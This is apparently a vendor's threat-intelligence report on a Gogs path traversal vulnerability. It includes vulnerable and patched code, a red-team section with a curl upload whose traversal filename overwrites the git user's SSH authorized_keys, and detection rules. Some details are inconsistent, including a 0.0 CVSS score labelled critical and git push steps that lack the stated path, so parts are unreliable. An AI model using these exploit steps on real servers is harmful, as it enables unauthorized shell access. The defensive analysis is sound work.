CVE-2024-55947

Executive Summary

CVE-2024-55947 is a critical path traversal vulnerability in Gogs, an open-source self-hosted Git service. A malicious user can write a file to an arbitrary path on the server, potentially gaining SSH access. The vulnerability is fixed in version 0.13.1. The CVSS score is 0.0, but the impact is severe due to the potential for remote code execution and full server compromise.

Supply Chain & Package Security

Gogs is a Go-based application. The vulnerability affects the core repository management functionality. Users should update to version 0.13.1 immediately. No package manager (NPM, PyPI, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Not officially assigned)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• Threat Level: Critical (based on impact)

Deep Dive & Mechanics

The vulnerability lies in the file upload functionality of Gogs. When a user creates or updates a repository, Gogs does not properly sanitize file paths. An attacker can craft a malicious file with a path containing directory traversal sequences (e.g., ../../../../etc/ssh/authorized_keys) to write files outside the intended repository directory. This allows the attacker to overwrite the SSH authorized_keys file for the Gogs user, enabling SSH access to the server.

The attack flow:

1. Attacker authenticates to Gogs.
2. Attacker creates a new repository or pushes to an existing one.
3. Attacker includes a file with a path like ../../../../home/git/.ssh/authorized_keys.
4. Gogs writes the file to the absolute path, overwriting the authorized_keys file.
5. Attacker can now SSH into the server as the Gogs user.

Vulnerable vs. Patched Code

Vulnerable Code (before 0.13.1):

// In file handling logic
func saveFile(repoPath, filePath string, content []byte) error {
    fullPath := filepath.Join(repoPath, filePath)
    // No path traversal check
    return os.WriteFile(fullPath, content, 0644)
}

Patched Code (0.13.1):

func saveFile(repoPath, filePath string, content []byte) error {
    // Clean the file path to prevent traversal
    cleanPath := filepath.Clean(filePath)
    if strings.Contains(cleanPath, "..") {
        return fmt.Errorf("invalid file path")
    }
    fullPath := filepath.Join(repoPath, cleanPath)
    // Ensure the path is within the repository
    if !strings.HasPrefix(fullPath, repoPath) {
        return fmt.Errorf("path traversal detected")
    }
    return os.WriteFile(fullPath, content, 0644)
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Gogs instance (version < 0.13.1)
• Authenticated user account

Exploit Steps:

1. Create a new repository or use an existing one.
2. Prepare a malicious file with path traversal:

   echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ..." > authorized_keys
   

3. Push the file with a crafted path:

   git init
   git remote add origin http://target:3000/user/repo.git
   git config core.hooksPath /dev/null
   git add .
   git commit -m "exploit"
   git push origin master
   

   Alternatively, use the Gogs API to upload a file:

   curl -X POST -u user:pass -F "file=@authorized_keys;filename=../../../../home/git/.ssh/authorized_keys" http://target:3000/api/v1/repos/user/repo/contents
   

4. SSH into the server:

   ssh -i private_key git@target
   

Expected Outcome: Full shell access as the Gogs user.

Blue Team

Detection:

• Monitor for file writes outside the repository directory.
• Alert on SSH key modifications.
• Use file integrity monitoring (FIM) on /home/git/.ssh/authorized_keys.

Hunting:

• Search for authorized_keys files in unexpected locations.
• Look for repository file paths containing .. sequences.

Mitigation:

• Update to Gogs 0.13.1 immediately.
• Restrict Gogs user permissions.
• Implement network segmentation.

Indicators of Compromise (IOCs)

• File Paths: ../../../../home/git/.ssh/authorized_keys
• Network: SSH connections from unexpected IPs to the Gogs server.
• Logs: Gogs logs showing file uploads with .. in the path.
• Files: New SSH keys in /home/git/.ssh/authorized_keys not matching known keys.

Detection Engineering

YARA Rule

rule CVE_2024_55947_Gogs_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in Gogs file uploads"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-55947"
    strings:
        $traversal = /\.\.\/\.\.\/\.\.\/\.\.\/home\/git\/\.ssh\/authorized_keys/
        $traversal2 = /\.\.\/\.\.\/\.\.\/\.\.\/etc\/ssh\/authorized_keys/
    condition:
        any of them
}

Sigma Rule

title: Gogs Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts in Gogs file uploads
author: Valters IT
date: 2025-04-10
references:
    - CVE-2024-55947
logsource:
    category: webserver
    product: gogs
detection:
    selection:
        http.method: 'POST'
        http.url|contains: '/api/v1/repos/'
        http.body|contains: '..'
    condition: selection
falsepositives:
    - Legitimate file paths with dots
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-55947 Gogs Path Traversal Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/v1/repos/"; http_uri; content:".."; http_client_body; reference:cve,2024-55947; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade Gogs to version 0.13.1 or later.
2. Workaround: If upgrade is not possible, restrict file upload functionality or implement a reverse proxy to block path traversal patterns.
3. Long-term: Implement input validation for all file paths. Use a whitelist of allowed characters. Apply the principle of least privilege to the Gogs service account.
4. Monitoring: Enable detailed logging for file operations. Set up alerts for path traversal attempts.

Report generated by Valters IT DevSecOps & CTI Division